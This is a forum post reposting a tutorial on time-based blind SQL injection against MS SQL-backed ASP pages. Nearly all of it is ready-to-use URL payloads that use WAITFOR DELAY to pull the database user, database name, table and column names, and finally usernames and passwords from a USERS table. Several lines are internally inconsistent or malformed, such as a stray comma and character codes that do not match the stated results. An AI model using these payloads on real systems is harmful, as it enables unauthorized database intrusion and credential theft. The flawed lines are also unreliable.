TIME DELAY BASED BLIND SQLI [TUT]

Posted by 67 On 03:35

Hello i can not take the credentials for this i found it on evilsql.com but it is a tutorial anyway.

BLIND SQL INJECTION - DETECTION

Integer Injection:
http://[site]/page.asp?id=1; WAITFOR DELAY '00:00:10'-- (+10 seconds)

String Injection:
http://[site]/page.asp?id=x'; WAITFOR DELAY '00:00:10'-- (+10 seconds)



BLIND SQL INJECTION - EXTRACT DATABASE USER

3 - Total Characters
http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (+10 seconds)

D - 1st Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (+10 seconds)

B - 2nd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds)

O - 3rd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Database User = DBO



BLIND SQL INJECTION - EXTRACT DATABASE NAME

http://[site]/page.asp?id=1; IF (LEN(DB_NAME())=8) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),1,1)))=112) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),2,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),3,1)))=111) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),4,1)))=45) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),5,1)))=100) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),6,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),7,1)))=45) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),8,1)))=49) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Database Name = PRO-DB-1



BLIND SQL INJECTION - EXTRACT 1st DATABASE TABLE

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype='U')=5) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=117) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),2,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),3,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),4,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),5,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Table Name = USERS


BLIND SQL INJECTION - EXTRACT 2nd DATABASE TABLE

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'USERS')=6) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'USERS'),1,1)))=111) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'USERS'),2,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'USERS'),3,1)))=100) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'USERS'),4,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'USERS'),5,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'USERS'),6,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Table Name = ORDERS


BLIND SQL INJECTION - EXTRACT 3rd DATABASE TABLE

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS')=9) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),1,1)))=99) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),2,1)))=117) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),3,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),4,1)))=116) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),5,1)))=111) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),6,1)))=109) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),7,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),8,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'ORDERS'),9,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Table Name = CUSTOMERS


BLIND SQL INJECTION - EXTRACT 1st TABLE COLUMN NAME

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS')=4) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS'),1,1)))=117) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS'),2,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS'),3,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS'),4,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Column Name = USER


BLIND SQL INJECTION - EXTRACT 2nd TABLE COLUMN NAME

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS' and column_name>'USER')=4) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS' and column_name>'USER'),1,1)))=112) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS' and column_name>'USER'),2,1)))=97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS' and column_name>'USER'),3,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS' and column_name>'USER'),4,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Column Name = PASS


BLIND SQL INJECTION - EXTRACT 3rd TABLE COLUMN NAME

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS' and column_name>,'PASS')=2) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS' and column_name>'PASS'),1,1)))=105) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from PRO-DB-1.information_schema.columns where table_name='USERS' and column_name>'PASS'),2,1)))=100) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Column Name = ID


BLIND SQL INJECTION - EXTRACT 1st FIELD OF 1st ROW

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 USER from USERS)=5) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 USER from USERS),1,1))=97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 USER from USERS),2,1))=100) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 USER from USERS),3,1))=109) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 USER from USERS),4,1))=105) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 USER from USERS),5,1))=110) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Field Data = ADMIN


BLIND SQL INJECTION - EXTRACT 2nd FIELD OF 1st ROW

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 PASS from USERS)=3) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 PASS from USERS),1,1))=49) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 PASS from USERS),2,1))=50) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 PASS from USERS),3,1))=51) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Field Data = 123


BLIND SQL INJECTION - EXTRACT 3nd FIELD OF 1st ROW

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 ID from USERS)=3) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 ID from USERS),1,1))=49) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 ID from USERS),2,1))=48) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 ID from USERS),3,1))=48) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Field Data = 100


BLIND SQL INJECTION - EXTRACT 1st FIELD OF 2nd ROW

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 USER from USERS where USER NOT in ('ADMIN') order by USERS desc)=3) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 USER from USERS where USER NOT in ('ADMIN') order by USER desc),1,1)))=106) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 USER from USERS where USER NOT in ('ADMIN') order by USER desc),2,1)))=111) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 USER from USERS where USER NOT in ('ADMIN') order by USER desc),3,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Field Data = JOE


BLIND SQL INJECTION - EXTRACT 1st FIELD OF 3nd ROW

http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 USER from USERS where USER NOT in ('JOE') order by USERS desc)=3) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 USER from USERS where USER NOT in ('JOE') order by USER desc),1,1)))=106) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 USER from USERS where USER NOT in ('JOE') order by USER desc),2,1)))=105) WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 USER from USERS where USER NOT in ('JOE') order by USER desc),3,1)))=109) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Field Data = JIM

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